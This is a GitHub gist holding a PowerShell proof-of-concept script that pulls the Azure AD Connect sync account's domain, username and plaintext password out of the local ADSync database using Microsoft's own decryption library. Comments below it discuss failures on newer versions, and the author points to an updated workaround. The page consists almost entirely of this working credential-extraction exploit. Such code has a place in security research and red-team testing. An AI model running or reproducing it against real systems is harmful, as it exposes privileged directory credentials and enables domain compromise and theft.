Skip to content

Instantly share code, notes, and snippets.

@xpn

xpn/azuread_decrypt_msol.ps1 Secret

Last active Jul 17, 2020
Embed
What would you like to do?
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
@ziggynemeth

This comment has been minimized.

Copy link

@ziggynemeth ziggynemeth commented Jan 21, 2020

Does this script still work with AADConnect 1.4.38.0? On line 24 hitting error HRESULT File not found - entropy/instance_id/key_id is returning correctly.

@tothi

This comment has been minimized.

Copy link

@tothi tothi commented Feb 16, 2020

typo on line 22: closing quote should be the same as opening...

@msft-jaiverma

This comment has been minimized.

Copy link

@msft-jaiverma msft-jaiverma commented Feb 16, 2020

It is not working anymore. I am getting error on line 24, even after corrected quote on line 22
PS C:\Program Files\Microsoft Azure AD Sync\bin> add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'

PS C:\Program Files\Microsoft Azure AD Sync\bin> $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager

PS C:\Program Files\Microsoft Azure AD Sync\bin> $km.LoadKeySet($entropy, $instance_id, $key_id)
Exception calling "LoadKeySet" with "3" argument(s): "The system cannot find the file specified. (Exception from HRESULT: 0x80070002)"
At line:1 char:1

  • $km.LoadKeySet($entropy, $instance_id, $key_id)
  •   + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
      + FullyQualifiedErrorId : FileNotFoundException
    
@xpn

This comment has been minimized.

Copy link
Owner Author

@xpn xpn commented Apr 11, 2020

Microsoft look like they made a few changes to how the keys are stored. New script is up which shows one way around this https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.